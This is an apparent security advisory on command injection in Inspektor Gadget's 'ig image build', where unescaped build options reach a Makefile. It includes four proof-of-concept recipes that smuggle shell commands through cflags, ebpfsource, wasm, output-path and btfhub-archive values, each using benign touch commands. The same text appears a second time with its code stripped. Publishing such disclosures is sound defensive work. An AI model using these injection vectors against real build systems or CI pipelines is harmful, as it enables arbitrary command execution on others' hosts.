Impacted Resources
inspektor-gadget/cmd/common/image/build.go
inspektor-gadget/cmd/common/image/helpers/Makefile.build
Description
The ig binary provides a subcommand for image building, used to generate custom gadget OCI images.
A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go.
The following is the code responsible to construct the build command:
func buildCmd(options buildOptions) []string {
cmd := []string{
"make", "-f", filepath.Join(options.outputDir, "Makefile.build"),
"-j", fmt.Sprintf("%d", runtime.NumCPU()),
"OUTPUTDIR=" + options.outputDir,
"CFLAGS=" + options.cFlags,
"FORCE_COLORS=" + options.forceColorsFlag,
}
if options.ebpfSourcePath != "" {
cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf")
}
if options.wasmSourcePath != "" {
cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm")
}
if options.btfgen {
cmd = append(cmd, "BTFHUB_ARCHIVE="+options.btfHubArchivePath, "btfgen")
}
return cmd
}
The Makefile.build file is the Makefile template employed during the building process.
This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.
This implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process.
Impact
An attacker able to exploit this vulnerability would be able to execute arbitray command:
- on the Linux host where the
ig command is launched, if images are built with the --local flag
- on the build container invoked by
ig, if the --local flag is not provided
Attack Complexity
The buildOptions structure is extracted from the YAML gadget manifest passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options.
Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.
PoC
PoC 1 (Vector: cflags)
- Create the file
build.yaml with the following content:
ebpfsource: "program.bpf.c"
metadata: "gadget.yaml"
cflags: " ; touch poc1.txt ; "
- Create the file
gadget.yaml with the following content:
name: test
description: test gadget
- Create the file
program.bpf.c with the following content:
#include <gadget/gadget.h>
char LICENSE[] SEC("license") = "GPL";
- In the same directory where the files are run the command:
ig image build . -t test:latest
- Notice that the file
poc1.txt gets created inside the directory.
PoC2 (Vector: ebpfsource, wasm)
- Create the file
build.yaml with the following content:
ebpfsource: "$(shell touch poc2-1.txt)"
wasm: "$(shell touch poc2-2.txt)"
- Create the file
$(shell touch poc2-1.txt):
touch '$(shell touch poc2-1.txt)'
- In the same directory where the files are run the command:
ig image build .
- Notice that the files
poc2-1.txt and poc2-2.txt get created inside the directory.
PoC3 (Vector: -o, --output)
- Create the file
build.yaml with the following content:
wasm: dummy.go
- Create the file
gadget.yaml with the following content:
name: test
- Create the directory
$(shell touch poc3.txt):
touch '$(shell touch poc3.txt)'
- Retrieve the full path of the created directory:
readlink -f '$(shell touch poc3.txt)'
- In the same directory where the files are run the command replacing the
<PATH> placeholder with the value retrieved at step 4:
ig image build . --local -o '<PATH>'
- Notice that the file
poc3.txt gets created inside the directory.
PoC4 (Vector: --btfhub-archive)
- Create the file
build.yaml with the following content:
ebpfsource: test.c
- Create the file
test.c:
touch test.c
- In the same directory where the files are run the command
sudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)'
- Notice that the file
poc4.txt gets created inside the directory.
Suggested Remediation
Sanitize build options by providing a robust whitelist to filter on.
Alternatively, revisit the design of image building to prevent shell substitution.
References
References
Impacted Resources
inspektor-gadget/cmd/common/image/build.goinspektor-gadget/cmd/common/image/helpers/Makefile.buildDescription
The
igbinary provides a subcommand for image building, used to generate custom gadget OCI images.A part of this functionality is implemented in the file
inspektor-gadget/cmd/common/image/build.go.The following is the code responsible to construct the build command:
The
Makefile.buildfile is the Makefile template employed during the building process.This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.
This implementation is vulnerable to command injection: an attacker able to control values in the
buildOptionsstructure would be able to execute arbitrary commands during the building process.Impact
An attacker able to exploit this vulnerability would be able to execute arbitray command:
igcommand is launched, if images are built with the--localflagig, if the--localflag is not providedAttack Complexity
The
buildOptionsstructure is extracted from the YAML gadget manifest passed to theig image buildcommand. Therefore, the attacker would need a way to control either the fullbuild.ymlfile passed to theig image buildcommand, or one of its options.Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.
PoC
PoC 1 (Vector: cflags)
build.yamlwith the following content:gadget.yamlwith the following content:program.bpf.cwith the following content:poc1.txtgets created inside the directory.PoC2 (Vector: ebpfsource, wasm)
build.yamlwith the following content:$(shell touch poc2-1.txt):poc2-1.txtandpoc2-2.txtget created inside the directory.PoC3 (Vector: -o, --output)
build.yamlwith the following content:gadget.yamlwith the following content:$(shell touch poc3.txt):<PATH>placeholder with the value retrieved at step 4:poc3.txtgets created inside the directory.PoC4 (Vector: --btfhub-archive)
build.yamlwith the following content:test.c:poc4.txtgets created inside the directory.Suggested Remediation
Sanitize build options by providing a robust whitelist to filter on.
Alternatively, revisit the design of image building to prevent shell substitution.
References
References